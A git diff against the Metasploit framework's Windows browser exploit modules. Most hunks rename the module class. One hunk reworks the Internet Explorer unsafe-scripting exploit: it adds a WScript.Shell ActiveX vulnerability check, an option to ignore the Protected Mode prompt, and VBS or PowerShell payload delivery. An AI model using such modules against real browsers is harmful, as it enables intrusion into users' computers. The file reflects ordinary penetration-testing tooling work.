Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/awingsoft_web3d_bof.rb b/modules/exploits/windows/browser/awingsoft_web3d_bof.rb index 770403a7c7..e983150018 100644 --- a/modules/exploits/windows/browser/awingsoft_web3d_bof.rb +++ b/modules/exploits/windows/browser/awingsoft_web3d_bof.rb @@ -23,7 +23,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb b/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb index d0be485f04..c268856ee4 100644 --- a/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb +++ b/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/baofeng_storm_onbeforevideodownload.rb b/modules/exploits/windows/browser/baofeng_storm_onbeforevideodownload.rb index 271caa3851..bb736f1946 100644 --- a/modules/exploits/windows/browser/baofeng_storm_onbeforevideodownload.rb +++ b/modules/exploits/windows/browser/baofeng_storm_onbeforevideodownload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/barcode_ax49.rb b/modules/exploits/windows/browser/barcode_ax49.rb index bf6181bd25..e5fb4cc725 100644 --- a/modules/exploits/windows/browser/barcode_ax49.rb +++ b/modules/exploits/windows/browser/barcode_ax49.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb b/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb index 3a63699a2f..f883eb72e4 100644 --- a/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb +++ b/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb b/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb index b4ffe3edf2..9936fc912d 100644 --- a/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb +++ b/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb b/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb index 62d06f8211..757ba12da7 100644 --- a/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb +++ b/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/chilkat_crypt_writefile.rb b/modules/exploits/windows/browser/chilkat_crypt_writefile.rb index 3a39839a25..8fe38efe5c 100644 --- a/modules/exploits/windows/browser/chilkat_crypt_writefile.rb +++ b/modules/exploits/windows/browser/chilkat_crypt_writefile.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/cisco_anyconnect_exec.rb b/modules/exploits/windows/browser/cisco_anyconnect_exec.rb index b5f802fa7f..55b5c6df4c 100644 --- a/modules/exploits/windows/browser/cisco_anyconnect_exec.rb +++ b/modules/exploits/windows/browser/cisco_anyconnect_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb index 78466bd120..5b35ecdef3 100644 --- a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb +++ b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb index 814fc873d2..199c27944b 100644 --- a/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb +++ b/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/citrix_gateway_actx.rb b/modules/exploits/windows/browser/citrix_gateway_actx.rb index 663b4945a0..58182c0a10 100644 --- a/modules/exploits/windows/browser/citrix_gateway_actx.rb +++ b/modules/exploits/windows/browser/citrix_gateway_actx.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/clear_quest_cqole.rb b/modules/exploits/windows/browser/clear_quest_cqole.rb index e9a1aced93..affe99692b 100644 --- a/modules/exploits/windows/browser/clear_quest_cqole.rb +++ b/modules/exploits/windows/browser/clear_quest_cqole.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/communicrypt_mail_activex.rb b/modules/exploits/windows/browser/communicrypt_mail_activex.rb index 3efacb9c49..d8f0fde955 100644 --- a/modules/exploits/windows/browser/communicrypt_mail_activex.rb +++ b/modules/exploits/windows/browser/communicrypt_mail_activex.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/creative_software_cachefolder.rb b/modules/exploits/windows/browser/creative_software_cachefolder.rb index 37adc9b873..f67dc5fa41 100644 --- a/modules/exploits/windows/browser/creative_software_cachefolder.rb +++ b/modules/exploits/windows/browser/creative_software_cachefolder.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/crystal_reports_printcontrol.rb b/modules/exploits/windows/browser/crystal_reports_printcontrol.rb index a92886b94d..44636c8495 100644 --- a/modules/exploits/windows/browser/crystal_reports_printcontrol.rb +++ b/modules/exploits/windows/browser/crystal_reports_printcontrol.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/dell_webcam_crazytalk.rb b/modules/exploits/windows/browser/dell_webcam_crazytalk.rb index fe8ede5cbd..f70773b7a5 100644 --- a/modules/exploits/windows/browser/dell_webcam_crazytalk.rb +++ b/modules/exploits/windows/browser/dell_webcam_crazytalk.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/dxstudio_player_exec.rb b/modules/exploits/windows/browser/dxstudio_player_exec.rb index 1b5560873d..fe938e1872 100644 --- a/modules/exploits/windows/browser/dxstudio_player_exec.rb +++ b/modules/exploits/windows/browser/dxstudio_player_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/zip' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ea_checkrequirements.rb b/modules/exploits/windows/browser/ea_checkrequirements.rb index 4ab495e851..89936e7a39 100644 --- a/modules/exploits/windows/browser/ea_checkrequirements.rb +++ b/modules/exploits/windows/browser/ea_checkrequirements.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb b/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb index 921285149b..ab90c7164f 100644 --- a/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb +++ b/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/enjoysapgui_comp_download.rb b/modules/exploits/windows/browser/enjoysapgui_comp_download.rb index 3d3cdf9c3c..0333976af5 100644 --- a/modules/exploits/windows/browser/enjoysapgui_comp_download.rb +++ b/modules/exploits/windows/browser/enjoysapgui_comp_download.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/enjoysapgui_preparetoposthtml.rb b/modules/exploits/windows/browser/enjoysapgui_preparetoposthtml.rb index a45a935ef6..2ee2ccff3b 100644 --- a/modules/exploits/windows/browser/enjoysapgui_preparetoposthtml.rb +++ b/modules/exploits/windows/browser/enjoysapgui_preparetoposthtml.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/facebook_extractiptc.rb b/modules/exploits/windows/browser/facebook_extractiptc.rb index 7290b5d166..571769f23d 100644 --- a/modules/exploits/windows/browser/facebook_extractiptc.rb +++ b/modules/exploits/windows/browser/facebook_extractiptc.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb index 66f3e99668..5f083c52da 100644 --- a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb +++ b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/getgodm_http_response_bof.rb b/modules/exploits/windows/browser/getgodm_http_response_bof.rb index 28762797c1..1adf60aa07 100644 --- a/modules/exploits/windows/browser/getgodm_http_response_bof.rb +++ b/modules/exploits/windows/browser/getgodm_http_response_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Seh diff --git a/modules/exploits/windows/browser/gom_openurl.rb b/modules/exploits/windows/browser/gom_openurl.rb index 1850394ce0..fe60d15fc8 100644 --- a/modules/exploits/windows/browser/gom_openurl.rb +++ b/modules/exploits/windows/browser/gom_openurl.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/greendam_url.rb b/modules/exploits/windows/browser/greendam_url.rb index a3394b541b..ee7e2634fe 100644 --- a/modules/exploits/windows/browser/greendam_url.rb +++ b/modules/exploits/windows/browser/greendam_url.rb @@ -21,7 +21,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb index ec3f7c8ed2..34a7758163 100644 --- a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb +++ b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/honeywell_tema_exec.rb b/modules/exploits/windows/browser/honeywell_tema_exec.rb index 13fa3b651c..4ce1c99493 100644 --- a/modules/exploits/windows/browser/honeywell_tema_exec.rb +++ b/modules/exploits/windows/browser/honeywell_tema_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb index 550395255f..efa03912ab 100644 --- a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb +++ b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb b/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb index 55850db2a5..d6cbb5275a 100644 --- a/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb +++ b/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb b/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb index 9276a059e5..9cb5e338c4 100644 --- a/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb +++ b/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/hp_loadrunner_addfile.rb b/modules/exploits/windows/browser/hp_loadrunner_addfile.rb index bc4efcd457..82ed60807c 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_addfile.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_addfile.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb b/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb index 5b907dc8a2..09b0439c0c 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_addfolder.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb index e3d390f8eb..acff38f9ed 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb index 5c62ea02a1..6488beed3a 100644 --- a/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb +++ b/modules/exploits/windows/browser/hp_loadrunner_writefilestring.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/hpmqc_progcolor.rb b/modules/exploits/windows/browser/hpmqc_progcolor.rb index dd64b699b0..19f0929c35 100644 --- a/modules/exploits/windows/browser/hpmqc_progcolor.rb +++ b/modules/exploits/windows/browser/hpmqc_progcolor.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb b/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb index a56df9c525..873b2b876d 100644 --- a/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb +++ b/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking # heap spray :-/ include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb index a8488b29d4..76261ed22b 100644 --- a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb +++ b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb b/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb index 772a924e42..1f261d420a 100644 --- a/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb +++ b/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ibmegath_getxmlvalue.rb b/modules/exploits/windows/browser/ibmegath_getxmlvalue.rb index f16b3b4c58..49dc3318e4 100644 --- a/modules/exploits/windows/browser/ibmegath_getxmlvalue.rb +++ b/modules/exploits/windows/browser/ibmegath_getxmlvalue.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ibmlotusdomino_dwa_uploadmodule.rb b/modules/exploits/windows/browser/ibmlotusdomino_dwa_uploadmodule.rb index c966b6145b..88ea81859f 100644 --- a/modules/exploits/windows/browser/ibmlotusdomino_dwa_uploadmodule.rb +++ b/modules/exploits/windows/browser/ibmlotusdomino_dwa_uploadmodule.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ie_cbutton_uaf.rb b/modules/exploits/windows/browser/ie_cbutton_uaf.rb index 96a4f7cfc7..e002ede87f 100644 --- a/modules/exploits/windows/browser/ie_cbutton_uaf.rb +++ b/modules/exploits/windows/browser/ie_cbutton_uaf.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb index 96741d004e..d00bae6af6 100644 --- a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb +++ b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ie_createobject.rb b/modules/exploits/windows/browser/ie_createobject.rb index 4b49aa83b6..7481aebffb 100644 --- a/modules/exploits/windows/browser/ie_createobject.rb +++ b/modules/exploits/windows/browser/ie_createobject.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ie_execcommand_uaf.rb b/modules/exploits/windows/browser/ie_execcommand_uaf.rb index 6db53caf87..bad5533df1 100644 --- a/modules/exploits/windows/browser/ie_execcommand_uaf.rb +++ b/modules/exploits/windows/browser/ie_execcommand_uaf.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/exploits/windows/browser/ie_iscomponentinstalled.rb b/modules/exploits/windows/browser/ie_iscomponentinstalled.rb index 09d208386c..1e498607a4 100644 --- a/modules/exploits/windows/browser/ie_iscomponentinstalled.rb +++ b/modules/exploits/windows/browser/ie_iscomponentinstalled.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Seh diff --git a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb index 1be71a45b7..6c8d41af0e 100644 --- a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb +++ b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer diff --git a/modules/exploits/windows/browser/ie_unsafe_scripting.rb b/modules/exploits/windows/browser/ie_unsafe_scripting.rb index caab7e277b..3db44238f6 100644 --- a/modules/exploits/windows/browser/ie_unsafe_scripting.rb +++ b/modules/exploits/windows/browser/ie_unsafe_scripting.rb @@ -7,17 +7,27 @@ require 'msf/core' require 'msf/util/exe' require 'msf/core/exploit/powershell' -class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking +class MetasploitModule < Msf::Exploit::Remote - include Msf::Exploit::Remote::HttpServer::HTML + Rank = ManualRanking + + include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::EXE include Msf::Exploit::Powershell + VULN_CHECK_JS = %Q| + try { + new ActiveXObject("WScript.Shell"); + new ActiveXObject("Scripting.FileSystemObject"); + is_vuln = true; + } catch(e) {} + | + + def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft Internet Explorer Unsafe Scripting Misconfiguration', - 'Description' => %q{ + 'Name' => 'Microsoft Internet Explorer Unsafe Scripting Misconfiguration', + 'Description' => %q{ This exploit takes advantage of the "Initialize and script ActiveX controls not marked safe for scripting" setting within Internet Explorer. When this option is set, IE allows access to the WScript.Shell ActiveX control, which allows javascript to @@ -36,43 +46,77 @@ class Metasploit3 < Msf::Exploit::Remote IE Tabs, WScript and subsequent Powershell prompts all run as x86 even when run from an x64 iexplore.exe. + + By default, this module will not attempt to fire against IEs that come with Protected + Mode enabled by default, because it can trigger a security prompt. However, if you are + feeling brave, you can choose to ignore this restriction by setting the ALLOWPROMPT + datastore option to true. }, - 'License' => MSF_LICENSE, - 'Author' => + 'License' => MSF_LICENSE, + 'Author' => [ 'natron', 'Ben Campbell' # PSH and remove ADODB.Stream ], - 'References' => + 'References' => [ [ 'URL', 'http://support.microsoft.com/kb/182569' ], [ 'URL', 'http://blog.invisibledenizen.org/2009/01/ieunsafescripting-metasploit-module.html' ], [ 'URL', 'http://support.microsoft.com/kb/870669'] ], - 'DisclosureDate' => 'Sep 20 2010', - 'Platform' => 'win', - 'Targets' => + 'DisclosureDate' => 'Sep 20 2010', + 'Platform' => 'win', + 'BrowserRequirements' => { + source: 'script', + os_name: OperatingSystems::Match::WINDOWS, + ua_name: HttpClients::IE, + vuln_test: VULN_CHECK_JS, + vuln_test_error: 'WScript.Shell or Scripting.FileSystemObject not allowed by browser.' + }, + 'Arch' => ARCH_X86, + 'Targets' => [ - [ 'Windows x86/x64', { 'Arch' => ARCH_X86 } ] + [ 'Windows x86/x64', {} ] ], - 'DefaultOptions' => + 'DefaultOptions' => { 'HTTP::compression' => 'gzip' }, - 'DefaultTarget' => 0)) + 'DefaultTarget' => 0 + )) register_options( [ - OptEnum.new('TECHNIQUE', [true, 'Delivery technique (VBS Exe Drop or PSH CMD)', 'VBS', ['VBS','Powershell']]), + OptBool.new('ALLOWPROMPT', [true, 'Allow exploit to ignore the protected mode prompt', false]), + OptEnum.new('TECHNIQUE', [true, 'Delivery technique (VBS Exe Drop or PSH CMD)', 'VBS', ['VBS','Powershell']]) ], self.class ) end - def on_request_uri(cli, request) + # Unfortunately we don't currently have an explicit way to check whether Protected Mode is + # actually enabled or not, so we can only rely on whatever is default on the OS. This should + # allow BAP2 to always fire without worrying about the prmopt popping up, but the user can + # still ignore this by setting ALLOWPROMPT to true in standalone mode. + def has_protected_mode_prompt?(browser) + if datastore['ALLOWPROMPT'] + return false + elsif OperatingSystems::Match::WINDOWS_XP === browser[:os_name] + return false + end + + true + end + + def on_request_exploit(cli, request, browser) + if has_protected_mode_prompt?(browser) + print_warning("This target possibly has Protected Mode, exploit aborted.") + send_not_found(cli) + return + end # Build out the HTML response page - var_shellobj = rand_text_alpha(rand(5)+5) + var_shellobj = rand_text_alpha(rand(5)+5) p = regenerate_payload(cli) if datastore['TECHNIQUE'] == 'VBS' @@ -92,10 +136,10 @@ class Metasploit3 < Msf::Exploit::Remote end def vbs_technique(var_shellobj, p) - var_fsobj = rand_text_alpha(rand(5)+5) - var_fsobj_file = rand_text_alpha(rand(5)+5) - var_vbsname = rand_text_alpha(rand(5)+5) - var_writedir = rand_text_alpha(rand(5)+5) + var_fsobj = rand_text_alpha(rand(5)+5) + var_fsobj_file = rand_text_alpha(rand(5)+5) + var_vbsname = rand_text_alpha(rand(5)+5) + var_writedir = rand_text_alpha(rand(5)+5) exe = generate_payload_exe({ :code => p.encoded }) vbs = Msf::Util::EXE.to_exe_vbs(exe) @@ -103,7 +147,7 @@ class Metasploit3 < Msf::Exploit::Remote # Build the javascript that will be served js_content = %Q| -// + | - return js_content + js_content end def psh_technique(var_shellobj, p) cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first)) js_content = %Q| -// + | - return js_content + js_content end end diff --git a/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb b/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb index fa0e081109..26459acef3 100644 --- a/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb +++ b/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'DisablePayloadHandler' => 'false', + 'DisablePayloadHandler' => false, 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => diff --git a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb 